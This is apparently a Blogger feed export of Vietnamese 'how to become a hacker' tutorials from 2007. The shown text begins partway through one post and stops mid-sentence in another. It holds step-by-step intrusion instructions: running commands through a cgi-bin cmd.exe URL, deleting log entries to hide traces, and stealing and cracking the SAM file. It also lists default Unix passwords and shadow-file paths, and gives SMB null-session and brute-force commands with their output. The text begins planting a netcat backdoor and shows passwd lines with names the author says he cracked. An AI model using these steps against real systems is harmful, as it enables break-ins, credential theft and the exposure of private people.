/&gt;Vậy là xong rùi đó , bạn hãy disconnect và đến start menu - &gt; find rồi search computer `www.dodgyinc.com`. Khi tìm thấy , bạn vào explore , explore NT sẽ mở ra bạn hay nhập user và passwd để mở nó ( của tôi là user : anhdenday và passwd : toilahacker ) .&lt;br /&gt;&lt;br /&gt;Có một vấn đề là khi bạn xâm nhập hệ thống này thì sẽ bị ghi lại , do đó để xoá dấu vết bạn hãy vào `Winnt\system32\logfiles` mở file log đó rồI xoá những thông tin liên quan đến bạn , rồI save chúng . Nếu bạn muốn lấy một thông báo gì về việc chia sẽ sự xâm nhập thì bạn hãy thay đổi ngày tháng trên máy tính vớI URL sau :&lt;br /&gt;&lt;br /&gt;http://www.dodgyinc.com/cgi-bin/cm d.exe?/c%20date%2030/04/03&lt;br /&gt;&lt;br /&gt;xong rồI bạn hãy xoá file `getadmin.exe`, và `gasys.dll` từ `cgi-bin` . Mục đích khi ta xâm nhập hệ thống này là “chôm” pass của admin để lần sau xâm nhập một cách hợp lệ , do đó bạn hãy tìm file SAM ( chứa pass của admin và member ) trong hệ thống rồI dùng chương trình “l0pht crack” để crack pass ( Hướng dẫn về cách sử dụng “l0pht crack v 3.02” tôi đã post lên rồi ,các bạn hãy tự nghiên cứu nhé ) . Đây là link : http://vnhacker.org/forum/?act=ST&amp; f=6&amp;t=11566&amp;s=&lt;br /&gt;Khi crack xong các bạn đã có user và pass của admin rồI , bây giờ hãy xoá account của user ( của tôi là “anhdenday” ) đi cho an toàn . Bạn đã có thể làm gì trong hệ thống là tuỳ thích , nhưng các bạn đừng xoá hết tài liệu của họ nhé , tội cho họ lắm .&lt;br /&gt;Bạn cảm thấy thế nào , rắc rối lắm phải không . Lúc tôi thử hack cách này , tôi đã mày mò mất cả 4 giờ , nếu như bạn đã quen thì lần thứ 2 bạn sẽ mất ít thờI gian hơn .&lt;br /&gt;&lt;br /&gt;Ở phần 3 tôi sẽ đề cập đến HĐH Linux , đến cách ngắt mật khẩu bảo vệ của một Web site , và làm thế nào để hack một trang web đơn giản nhất .v.v…&lt;br /&gt;&lt;br /&gt;Hết phần 2&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/64112137356460089-2336536372721107368?l=chantroitrithuc.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chantroitrithuc.blogspot.com/feeds/2336536372721107368/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=64112137356460089&amp;postID=2336536372721107368' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/64112137356460089/posts/default/2336536372721107368'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/64112137356460089/posts/default/2336536372721107368'/><link rel='alternate' type='text/html' href='http://chantroitrithuc.blogspot.com/2007/06/nhng-hiu-bit-c-bn-tr-thnh-hacker-phn-ii.html' title='Những Hiểu Biết Cơ Bản Để Trở Thành Hacker (phần II)'/><author><name>romancekid</name><uri>http://www.blogger.com/profile/07546199149831866337</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-64112137356460089.post-2877147375250718469</id><published>2007-06-19T01:12:00.000-07:00</published><updated>2007-06-19T01:14:01.434-07:00</updated><title type='text'>Những Hiểu Biết Cơ Bản Để Trở Thành Hacker (phần I)</title><content type='html'>Những hiểu biết cơ bản nhất để trở thành Hacker - Phần 1&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Nhiều bạn Newbie có hỏi tôi “ Hack là như thế nào ? Làm sao để hack ?” Nhưng các bạn đã quên mất một điều là các bạn cần phảI có kiến thức một cách tổng quát , hiểu các thuật ngữ mà những người rành về mạng hay sử dụng . Riêng tôi thì chưa thật giỏi bao nhiêu nhưng qua nghiên cứu tôi cũng đã tổng hợp được một số kiến thức cơ bản , muốn chia sẻ cho tất cả các bạn , nhằm cùng các bạn học hỏi .&lt;br /&gt;&lt;br /&gt;Tôi sẽ không chịu trách nhiệm nếu các bạn dùng nó để quậy phá người khác . Các bạn có thể copy hoặc post trong các trang Web khác nhưng hãy điền tiên tác giả ở dưới bài , tôn trọng bài viết này cũng chính là tôn trọng tôi và công sức của tôi , đồng thời cũng tôn trọng chính bản thân các bạn . Trong này tôi cũng có chèn thêm một số cách hack , crack và ví dụ căn bản , các bạn có thể ứng dụng thử và nghiên cứu đọc nó để hiểu thêm , rồi khi bắt gặp một từ mà các bạn không hiểu thì hãy đọc bài này để biết , trong này tôi có sử dụng một số ý của bài viết mà tôi thấy rất hay từ trang Web của HVA , và các trang Web khác mà tôi đã từng ghé thăm . Xin cảm ơn những tác giả đã viết những bài ấy . Bây giờ là vấn đề chính .&lt;br /&gt;&lt;br /&gt;1 . ) Ta cần những gì để bắt đầu?&lt;br /&gt;&lt;br /&gt;Có thể nhiều bạn không đồng ý với tôi nhưng cách tốt nhất để thực tập là các bạn hãy dùng HĐH Window 9X , rồI đến các cái khác mạnh hơn đó là Linux hoặc Unix , dướI đây là những cái bạn cần có :&lt;br /&gt;+ Một cái OS ( có thể là DOS , Window 9X , Linux , Unit ….)&lt;br /&gt;+ Một cái trang Web tốt ( HVA chẳng hạn hi`hi` greenbiggrin.gif greenbiggrin.gif )&lt;br /&gt;+ Một bộ trình duyệt mạng tốt ( là Nescape , IE , nhưng tốt nhất có lẽ là Gozzila )&lt;br /&gt;+ Một công cụ chat tốt ( mIRC ,Yahoo Mass …..)&lt;br /&gt;+ Telnet ( hoặc những cái tương tự như nmap …)&lt;br /&gt;+ Cái quan trọng nhất mà bất cứ ai muốn trở thành một hacker là đều phảI có một chút kiến thức về lập trình ( C , C++ , Visual Basic , Pert …..)&lt;br /&gt;&lt;br /&gt;2 . ) Thế nào là một địa chỉ IP ?&lt;br /&gt;&lt;br /&gt;_ Địa chỉ IP được chia thành 4 số giới hạn từ 0 - 255. Mỗi số được lưu bởi 1 byte - &gt; !P có kicks thước là 4byte, được chia thành các lớp địa chỉ. Có 3 lớp là A, B, và C. Nếu ở lớp A, ta sẽ có thể có 16 triệu điạ chỉ, ở lớp B có 65536 địa chỉ. Ví dụ: Ở lớp B với 132.25,chúng ta có tất cả các địa chỉ từ 132.25.0.0 đến 132.25.255.255. Phần lớn các địa chỉ ở lớp A llà sở hữu của các công ty hay của tổ chức. Một ISP thường sở hữu một vài địa chỉ lớp B hoặc C. Ví dụ: Nếu địa chỉ IP của bạn là 132.25.23.24 thì bạn có thể xác định ISP của bạn là ai. ( có IP là 132.25.x.)&lt;br /&gt;_ IP là từ viết tắt của Internet Protocol, trên Internet thì địa chỉ IP của mỗI người là duy nhất và nó sẽ đạI diện cho chính ngườI đó, địa chỉ IP được sử dụng bởi các máy tính khác nhau để nhận biết các máy tính kết nối giữa chúng. Đây là lí do tại sao bạn lại bị IRC cấm, và là cách người ta tìm ra IP của bạn.&lt;br /&gt;Địa chỉ IP có thể dễ dàng phát hiện ra, người ta có thể lấy được qua các cách sau :&lt;br /&gt;+ bạn lướt qua một trang web, IP của bạn bị ghi lại&lt;br /&gt;+ trên IRC, bất kì ai cũng có thể có IP của bạn&lt;br /&gt;+ trên ICQ, mọi người có thể biết IP của bạn, thậm chí bạn chọn ``do not show ip`` người ta vẫn lấy được nó&lt;br /&gt;+ nếu bạn kết nối với một ai đó, họ có thế gõ ``systat –n ``, và biết được ai đang kết nối đên họ&lt;br /&gt;+ nếu ai đó gửi cho bạn một email với một đoạn mã java tóm IP, họ cũng có thể tóm được IP của bạn&lt;br /&gt;( Tài liệu của HVA )&lt;br /&gt;&lt;br /&gt;3 . ) Làm thế nào để biết được địa chỉ IP của mình ?&lt;br /&gt;&lt;br /&gt;_ Trong Window : vào Start Run đánh lệnh “winipcfg” .&lt;br /&gt;_ Trong mIRC : kết nốI đến máy chủ sau đó đánh lệnh “/dns ”&lt;br /&gt;_ Thông qua một số trang Web có hiển thị IP .&lt;br /&gt;&lt;br /&gt;4 . ) IP Spoofing là gì ?&lt;br /&gt;&lt;br /&gt;_ Một số IP có mục đích để xác định một thiết bị duy nhất trên thế giới. Vì vậy trên mạng một máy chủ có thể cho phép một thiết bị khác trao đổi dữ liệu qua lại mà không cần kiểm tra máy chủ.&lt;br /&gt;Tuy nhiên có thể thay đổi IP của bạn, nghĩa là bạn có thể gởi một thông tin giả đến một máy khác mà máy đó sẽ tin rằng thông tin nhận được xuất phát từ một máy nào đó (tất nhiên là không phải máy của bạn). Bạn có thể vượt qua máy chủ mà không cần phải có quyền điều khiến máy chủ đó. Điều trở ngại là ở chỗ những thông tin phản hồi từ máy chủ sẽ được gởi đến thiết bị có IP mà chúng ta đã giả mạo. Vì vậy có thể bạn sẽ không có được sự phản hồi những thông tin mà mình mong muốn. Có lẽ điều duy nhất mà spoof IP có hiệu quả là khi bạn cần vượt qua firewall, trộm account và cần dấu thông tin cá nhân!&lt;br /&gt;( Tài liệu của HVA )&lt;br /&gt;&lt;br /&gt;5 . ) Trojan / worm / virus / logicbomb là cái gì ?&lt;br /&gt;&lt;br /&gt;_ Trojan : Nói cho dễ hiểu thì đây là chương trình điệp viên được cài vào máy của ngườI khác để ăn cắp nhũng tài liệu trên máy đó gửI về cho chủ nhân của nó , Cái mà nó ăn cắp có thể là mật khẩu , accourt , hay cookie ………. tuỳ theo ý muốn của ngườI cài nó .&lt;br /&gt;_ virus : Nói cho dễ hiểu thì đây là chương trình vớI những mã đặc biệt được cài ( hoặc lây lan từ máy khác ) lên máy của nạn nhân và thực hiện những yêu cầu của mã đó , đa số virut được sử dụng để phá hoạI dữ liệu hoặc phá hoạI máy tính .&lt;br /&gt;_ worm : Đây là chương trình độc lập có thể tự nhân bản bản thân nó và lây lan khắp bên trong mạng .Cũng giống như Virut , nó cũng có thể phá hoạI dữ liệu , hoặc nó có thể phá hoạI bên trong mạng , nhiều khi còn làm down cả mang đó .&lt;br /&gt;_ logicbomb : Là chương trình gửi một lúc nhiều gói dữ liệu cho cùng một địa chỉ , làm ngập lụt hệ thống , tắt nghẽn đường truyền ( trên server ) hoặc dùng làm công cụ để “khủng bố” đốI phương ( bom Mail ) :wink: .&lt;br /&gt;&lt;br /&gt;6 . ) PGP là gì ?&lt;br /&gt;&lt;br /&gt;_ PGP là viết tắt của từ “Pretty Good Privacy” , đây là công cụ sử dụng sự mã hoá chìa khoá công cộng để bảo vệ những hồ sơ Email và dữ liệu , là dạng mã hoá an toàn cao sử dụng phần mềm cho MS_DOS , Unix , VAX/VMS và cho những dạng khác .&lt;br /&gt;&lt;br /&gt;7 . ) Proxy là gì ?&lt;br /&gt;&lt;br /&gt;_Proxy cung cấp cho người sử dụng truy xuất internet với những host đơn. Những proxy server phục vụ những nghi thức đặt biệt hoặc một tập những nghi thức thực thi trên dual_homed host hoặc basion host. Những chương trình client của người sử dung sẽ qua trung gian proxy server thay thế cho server thật sự mà người sử dụng cần giao tiếp. Proxy server xác định những yêu cầu từ client và quyết định đáp ứng hay không đáp ứng, nếu yêu cầu được đáp ứng, proxy server sẽ kết nối với server thật thay cho client và tiếp tục chuyển tiếp đến những yêu cầu từ clientđến server, cũng như đáp ứng những yêu cầu của server đến client. Vì vậy proxy server giống cầu nối trung gian giữa server và client .&lt;br /&gt;_ Proxy cho user truy xuất dịch vụ trên internet theo nghĩa trực tiếp. Với dual host homed cần phải login vào host trước khi sử dụng dịch vụ nào trên internet. Điều này thường không tiện lợi, và một số người trể nên thất vọng khi họ có cảm giác thông qua firewall, với proxy nó giải quyết được vấn đề này. Tất nhiên nó còn có những giao thức mới nhưng nói chung nó cũng khá tiện lợi cho user. Bởi vì proxy cho phép user truy xuất những dịch vụ trên internet từ hệ thống cá nhân của họ, vì vậy nó không cho phép packet đi trực tiếp giữa hệ thống sử dụng và internet. đường đi là giáng tiếp thông qua dual homed host hoặc thông qua sự kết hợp giữa bastion host và screening rounter.&lt;br /&gt;&lt;br /&gt;( Bài viết của Z3RON3 – tài liệu của HVA )&lt;br /&gt;&lt;br /&gt;8 . ) Unix là gì ?&lt;br /&gt;&lt;br /&gt;_ Unix là một hệ điều hành ( giống Window ) .Nó hiện là hệ điều hành mạnh nhất , và thân thiết với các Hacker nhất . Nếu bạn đã trở thành một hacker thật sự thì HĐH này không thể thiếu đối vớI bạn . Nó được sử dụng hỗ trợ cho lập trình ngôn ngữ C .&lt;br /&gt;&lt;br /&gt;9 . ) Telnet là gì ?&lt;br /&gt;&lt;br /&gt;_ Telnet là một chương trình cho phép ta kết nốI đến máy khác thông qua cổng ( port ) . MọI máy tính hoặc máy chủ ( server ) đều có cổng , sau đây là một số cổng thông dụng :&lt;br /&gt;+ Port 21: FTP&lt;br /&gt;+ Port 23: Telnet&lt;br /&gt;+ Port 25: SMTP (Mail)&lt;br /&gt;+ Port 37: Time&lt;br /&gt;+ Port 43: Whois&lt;br /&gt;_ Ví dụ : bạn có thể gọI Telnet để kết nốI đến mail.virgin.net trên port 25 .&lt;br /&gt;&lt;br /&gt;10 . ) Làm thế nào để biết mình đã Telnet đến hệ thống Unix ?&lt;br /&gt;_ Ok , tôi sẽ nói cho bạn biết làm sao một hệ thống Unix có thể chào hỏI bạn khi bạn kết nối tới nó . Đầu tiên , khi bạn gọi Unix , thông thường nó sẽ xuất hiện một dấu nhắc : “ Log in : ” , ( tuy nhiên , chỉ với như vậy thì cũng chưa chắc chắn đây là Unix được ngoạI trừ chúng xuất hiện thông báo ở trước chữ “ log in :” như ví dụ : Welcome to SHUnix. Please log in ….)&lt;br /&gt;Bây giờ ta đang ở tạI dấu nhắc “log in” , bạn cần phảI nhập vào một account hợp lệ . Một account thông thường gồm có 8 đặc tính hoặc hơn , sau khi bạn nhập account vào , bạn sẽ thấy có một mật khẩu , bạn hãy thử nhập Default Password thử theo bảng sau :&lt;br /&gt;&lt;br /&gt;Account -----Default Password&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Root ------- Root&lt;br /&gt;Sys -------- Sys / System / Bin&lt;br /&gt;Bin -------- -Sys / Bin&lt;br /&gt;Mountfsy --M ountfsys&lt;br /&gt;Nuuc ------- Anon&lt;br /&gt;Anon ------- Anon&lt;br /&gt;User ------- -User&lt;br /&gt;Games -----G ames&lt;br /&gt;Install ---- --Install&lt;br /&gt;Demo ------- Demo&lt;br /&gt;Guest ------ Guest&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;11 . ) shell account là cái gì ?&lt;br /&gt;&lt;br /&gt;_ Một shell account cho phép bạn sử dụng máy tính ở nhà bạn như thiết bị đầu cuốI ( terminal ) mà vớI nó bạn có thể đánh lệnh đến một máy tính đang chạy Unix , “Shell” là chương trình có nhiệm vụ dịch những ký tự của bạn gửi đến rồI đưa vào thực hiện lệnh của chương trình Unix . VớI một shell account chính xác bạn có thể sử dụng được một trạm làm việc mạnh hơn nhiều so vớI cái mà bạn có thể tưởng tượng đến được .&lt;br /&gt;Bạn có thể lấy được “shell account” miễn phí tạI trang Web www.freeshell.com tuy nhiên bạn sẽ không sử dụng được “telnet” cho đến khi bạn trả tiền cho nó .&lt;br /&gt;&lt;br /&gt;12 . ) Làm cách nào để bạn có thể crack Unix account passwords ?&lt;br /&gt;&lt;br /&gt;_ Rất đơn giản , tuy nhiên cách mà tôi nói vớI các bạn ở đây “lạc hậu” rồI , các bạn có thể crack được chúng nếu các bạn may mắn , còn không thì các bạn đọc để tham khảo .&lt;br /&gt;_ Đầu tiên bạn hãy đăng nhập vào hệ thống có sử dụng Unix như một khách hàng hoặc một ngườI khách ghé thăm , nếu may mắn bạn sẽ lấy được mật khẩu được cất dấu trong những hệ thống chuẩn như :&lt;br /&gt;&lt;br /&gt;/etc/passwd&lt;br /&gt;&lt;br /&gt;mỗi hàng trong một hồ sơ passwd có một tài khoản khác nhau , nó giống như hàng này :&lt;br /&gt;&lt;br /&gt;useridp:assword:userid#:groupid#:GECOS field:home dir:shell&lt;br /&gt;&lt;br /&gt;trong đó :&lt;br /&gt;+ userid = the user id name : tên đăng nhập : có thể là một tên hoặc một số .&lt;br /&gt;+ password : mật mã . Dùng để làm gì hẳn các bạn cũng biết rồI .&lt;br /&gt;+ userid# : là một số duy nhất đựơc thông báo cho ngườI đăng ký khi họ đăng ký mớI ở lần đầu tiên .&lt;br /&gt;+ groupid# : tương tự như userid# , nhưng nó được dùng cho những ngườI đang ở trong nhóm nào đó ( như nhóm Hunter Buq của HVA chẳng hạn )&lt;br /&gt;+ GECOS FIELD : đây là nơi chứa thông tin cho ngườI sử dụng , trong đó có họ tên đầy đủ , số điện thoại , địa chỉ v.v…. . Đây cũng là nguồn tốt để ta dễ dàng crack một mật khẩu .&lt;br /&gt;+ home dir : là thư mục ghi lạI hoạt động của người khách khi họ ghé thăm ( giống như mục History trong IE vậy )&lt;br /&gt;+ Shell : đây là tên của shell mà nó tự động bắt đầu khi ta login .&lt;br /&gt;_ Hãy lấy file password , lấy file text đã mã hoá về , sau đó bạn dùng chương trình ``CrackerJack`` hoặc ``John the Ripper`` để crack .&lt;br /&gt;_ Các bạn thấy cũng khá dễ phảI không ? Sai bét , không dễ dàng và may mắn để bạn có thể crack được vì hầu hết bây giờ họ cất rất kỹ , hãy đọc tiếp bạn sẽ thấy khó khăn chỗ nào .&lt;br /&gt;&lt;br /&gt;13 . ) shadowed password là cái gì ?&lt;br /&gt;&lt;br /&gt;_ Một shadowed password được biết đến là trong file Unix passwd , khi bạn nhập một mật khẩu , thì ngườI khác chỉ thấy được trình đơn của nó ( như ký hiệu “ X ” hoặc “ * ” ) . Cái này thông báo cho bạn biết là file passwd đã được cất giữ ở nơi khác , nơi mà một ngườI sử dụng bình thường không thể đến được . Không lẽ ta đành bó tay , dĩ nhiên là đốI vớI một hacker thì không rùi , ta không đến được trực tiếp file shadowed password thì ta hãy tìm file sao lưu của nó , đó là file Unshadowed .&lt;br /&gt;Những file này trên hệ thống của Unix không cố định , bạn hãy thử vớI lần lượt những đường dẫn sau :&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;AIX 3 /etc/security/passwd !&lt;br /&gt;or /tcb/auth/files/ /&lt;br /&gt;A/UX 3.0s /tcb/files/auth/?/ *&lt;br /&gt;BSD4.3-Reno /etc/master.passwd *&lt;br /&gt;ConvexOS 10 /etc/shadpw *&lt;br /&gt;ConvexOS 11 /etc/shadow *&lt;br /&gt;DG/UX /etc/tcb/aa/user/ *&lt;br /&gt;EP/IX /etc/shadow x&lt;br /&gt;HP-UX /.secure/etc/passwd *&lt;br /&gt;IRIX 5 /etc/shadow x&lt;br /&gt;Linux 1.1 /etc/shadow *&lt;br /&gt;OSF/1 /etc/passwd[.dir|.pag] *&lt;br /&gt;SCO Unix #.2.x /tcb/auth/files/ /&lt;br /&gt;SunOS4.1+c2 /etc/security/passwd.adjunct =##username&lt;br /&gt;SunOS 5.0 /etc/shadow&lt;br /&gt;maps/tables/whatever &gt;&lt;br /&gt;System V Release 4.0 /etc/shadow x&lt;br /&gt;System V Release 4.2 /etc/security/* database&lt;br /&gt;Ultrix 4 /etc/auth[.dir|.pag] *&lt;br /&gt;UNICOS /etc/udb =20&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Trước dấu “ / ”đầu tiên của một hàng là tên của hệ thống tương ứng , hãy căn cứ vào hệ thông thật sự bạn muốn lấy rồI lần theo đường dẫn phía sau dấu “/”đầu tiên .&lt;br /&gt;Và cuốI cùng là những account passwd mà tôi từng crack được , có thể bây giờ nó đã hết hiệu lực rồI :&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;arif:x:1569:1000:Nguyen Anh Chau:/udd/arif:/bin/ksh&lt;br /&gt;arigo:x:1570:1000:Ryan Randolph:/udd/arigo:/bin/ksh&lt;br /&gt;aristo:x:1573:1000:To Minh Phuong:/udd/aristo:/bin/ksh&lt;br /&gt;armando:x:1577:1000:Armando Huis:/udd/armando:/bin/ksh&lt;br /&gt;arn:x:1582:1000:Arn mett:/udd/arn:/bin/ksh&lt;br /&gt;arne:x:1583:1000P:ham Quoc Tuan:/udd/arne:/bin/ksh&lt;br /&gt;aroon:x:1585:1000:Aroon Thakral:/udd/aroon:/bin/ksh&lt;br /&gt;arozine:x:1586:1000: Mogielnicki:/udd/arozine:/bin/bash&lt;br /&gt;arranw:x:1588:1000:Arran Whitaker:/udd/arranw:/bin/ksh&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Để bảo đảm sự bí mật nên pass của họ tôi xoá đi và để vào đó là ký hiệu “ x ” , các bạn hãy tìm hiểu thông tin có được từ chúng xem&lt;br /&gt;&lt;br /&gt;Hết phần 1&lt;br /&gt;Tài liệu của HVA&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/64112137356460089-2877147375250718469?l=chantroitrithuc.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chantroitrithuc.blogspot.com/feeds/2877147375250718469/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=64112137356460089&amp;postID=2877147375250718469' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/64112137356460089/posts/default/2877147375250718469'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/64112137356460089/posts/default/2877147375250718469'/><link rel='alternate' type='text/html' href='http://chantroitrithuc.blogspot.com/2007/06/nhng-hiu-bit-c-bn-tr-thnh-hacker-phn-i.html' title='Những Hiểu Biết Cơ Bản Để Trở Thành Hacker (phần I)'/><author><name>romancekid</name><uri>http://www.blogger.com/profile/07546199149831866337</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-64112137356460089.post-5511098736297372555</id><published>2007-06-17T19:25:00.001-07:00</published><updated>2007-06-17T19:25:29.408-07:00</updated><title type='text'>Hacking PC resource share</title><content type='html'>Bài viết này với mục đích chia sẻ,học hỏi,trao đổi kiến thức! Nội dung của bài viết là hack vào PC sử dụng HĐH windows và các phương pháp phòng chống (trong phạm vi kiến thức của tui thôi nha). Bây giờ chúng ta cùng bắt đầu suy nghĩ những hướng phải đi. Khi bạn Online ( tức kết nối vào Internet) bạn sẽ được ISP gán cho một IP nào đó. Vậy Hacker có biết được IP của bạn không? Câu trả lời là có ( nếu Hacker giao tiếp với bạn,có nghĩa là máy của bạn và máy của hacker có sự kết nối, đồng nghĩa với việc trao đổi các packet,từ các packet có thể biết được địa chi IP nguồn)&lt;br /&gt;&lt;br /&gt;Khi biết IP của bạn liệu hacker có thể hack vào máy tính của bạn không? Câu trả lời là hoàn toàn có thể.&lt;br /&gt;Vậy hacker làm như thế nào để Hack?&lt;br /&gt;&lt;br /&gt;Hacking thông qua resource share:&lt;br /&gt;&lt;br /&gt;Hacker có thể dùng các tool hack tự động ví dụ như : ent3,legion… ( nhưng bản chất của các công cụ này là thưc hiện các bước mà tôi sẽ nói dưới đây 1 cách tự động,chính vì vậy việc dùng các tool này là một cách khá củ chuối …)&lt;br /&gt;Trước tiên Hacker sẽ kiểm tra nhưng tài nguyên được chia sẻ trên máy tính của bạn.&lt;br /&gt;Chỉ bằng vài dòng lệnh đơn giản trên comand line:&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;&lt;br /&gt;[C:\&gt;Net view \\x.x.x.x  ( với x.x.x.x là địa chỉ IP của bạn mà hacker đã biết )&lt;br /&gt;&lt;br /&gt;Shared resources at \\x.x.x.x&lt;br /&gt;&lt;br /&gt;Share name  Type  Used as  Comment&lt;br /&gt;-------------------------------------------------------------------------------&lt;br /&gt;C             Disk&lt;br /&gt;PRJA3       Disk&lt;br /&gt;The command completed successfully.&lt;br /&gt;C:\&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Với Windows 95 &amp; 98 thì khả năng bị hack Cao hơn nhiều so với Windows NT,2000,XP ( vì win 95,98 dùng định dạng FAT&amp;FAT32 có độ bảo mật thấp hơn nhiều so với NTFS)&lt;br /&gt;&lt;br /&gt;Đối với hai loại Windows này (95,98) Hacker thậm chí không cần lấy Administrator cũng có thể làm được tất cả ( bạn có tin không ?).&lt;br /&gt;Khuyến cáo : không nên dùng 2 loại win này vì quá lỗi thời và có thể bị hack bất cứ lúc nào.&lt;br /&gt;&lt;br /&gt;Sau khi liệt kê các Ổ đĩa,folder share bước tiếp theo của hacker là phải truy cập vào các ổ đĩa,folder đó để lấy dữ liệu (đây cũng là mục đích của hacker).Hacker sẽ ánh sạ ổ đĩa ,thư mục share để truy cập vào.&lt;br /&gt;Cũng bằng command line:&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;C:\&gt; net use z: \\x.x.x.x \share&lt;br /&gt;The command completed successfully.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Chẳng lẽ hack đơn gian vậy sao ? Không , không hề đơn giản như thế bởi vì máy của victim có đặt password ( viêc ánh sạ cần phải biết username &amp; password ).Thế là Hacker pó tay ? không hacker không bao giờ chịu pó tay,hacker sẽ cố gắng lấy username &amp; password&lt;br /&gt;Lấy Username :&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;C:\&gt; Nbtstat –A x.x.x.x&lt;br /&gt;&lt;br /&gt;       NetBIOS Remote Machine Name Table&lt;br /&gt;&lt;br /&gt;   Name               Type         Status&lt;br /&gt;---------------------------------------------&lt;br /&gt;ADMIN            &lt;00&gt;  UNIQUE          Registered&lt;br /&gt;BODY              &lt;00&gt;  GROUP           Registered&lt;br /&gt;ADMIN    f        &lt;20&gt;  UNIQUE           Registered&lt;br /&gt;BODY              &lt;1E&gt;  GROUP            Registered&lt;br /&gt;BODY              &lt;1D&gt;  UNIQUE           Registered&lt;br /&gt;..__MSBROWSE__.&lt;01&gt;  GROUP       Registered&lt;br /&gt;&lt;br /&gt;MAC Address = 00-08-A1-5B-E3-8C&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Vậy máy x.x.x.x sẽ có 2 username là : ADMIN va BODY&lt;br /&gt;Khi đã có username hacker sẽ tiến hành Crack password ( dựa vào các tool như : pqwak,xIntruder) Hoặc Hacker sẽ tiến hành tạo ra một từ điển ( dựa vào khả năng phán đoán của hacker ) tên là : pass.txt&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;“” ADMIN&lt;br /&gt;123456 ADMIN&lt;br /&gt;123456 BODY&lt;br /&gt;“” BODY&lt;br /&gt;…&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Sau đó hacker crack bang lệnh :&lt;br /&gt;[/CODE]Cũng có thể tạo Userlist.txt và passlist.txt rồi dùng lệnh:&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;C:\&gt; FOR /F %i IN (1,1,254) DO nat –u userlist.txt –p passlist.txt x.x.x.x.%I&gt;&gt;output.txt&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Đối với Win 2000,XP hacker sẽ không là gì nếu không phải administrator chính vì vậy hacker bằng mọi giá sẽ lấy cho được administrator.&lt;br /&gt;nếu lấy được admin thì việc còn lại thì chờ hacker định đoạt.&lt;br /&gt;Khuyến cáo : không nên share gì hết ( trong trường hợp buộc phải share thì nên đặt password phức tạp 1 chút )&lt;br /&gt;Giả sử rằng máy của Victim không share. Vậy hacker làm sao ?&lt;br /&gt;&lt;br /&gt;Trong trường hợp này hacker sẽ đoán user &amp; pass (có thể dùng cách ở trên hoặc dung các tool như: user2sid/sid2user,dumpACL,SMBGrind……) sau đó kết nối tới IPC$ ( mặc định share của windows)&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;C:\&gt; net use \\x.x.x.x\IPC$ “password” /user:”administrator”&lt;br /&gt;The command completed successfully.&lt;br /&gt;&lt;br /&gt;Trong trường hợp không thê đoán Đươc user &amp; pass hacker có thể thiết lập một Null session tới máy victim:&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;&lt;br /&gt;C:\&gt; net use \\x.x.x.x\IPC$ “” /user:””&lt;br /&gt;The command completed successfully  &lt;br /&gt;&lt;br /&gt;Và rồi nếu victim permission không đúng sẽ có nhưng hậu quả khôn lường.&lt;br /&gt;&lt;br /&gt;khuyến cáo : Vô hiệu hoá NetBios ( Bấm vào My Network Places chọn Local Area Connetion, chọn TCP/ IP sau đó bấm vào propperties chọn Advandce, chọn WINS và bấm vào Disable NetBIOS over TCP / IP), Dùng firewall chặn 1 số port không cần thiết , khoá tài khoản sau 1 số lần đăng nhập thất bại .&lt;br /&gt;&lt;br /&gt;Tiện đây cũng nói thêm về điều khiển từ xa ( vì có nhiều bạn đột nhập được vào rùi mà không biết phải làm sao )&lt;br /&gt;&lt;br /&gt;Giả sử rằng bạn đã có username,password của admin của máy victim rồi:&lt;br /&gt;giờ thiết lập 1 phiên làm viêc:&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;&lt;br /&gt;C:\&gt; net use \\x.x.x.x\IPC$ “password” /user:”administrator”&lt;br /&gt;The command completed successfully.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Sau đó ta cần copy backdoor để điều khiển máy victim có rất nhiều loại backdoor nhưng tôi thấy hơn cả vẫn là : netcat ( nc)&lt;br /&gt;chép nc vào máy 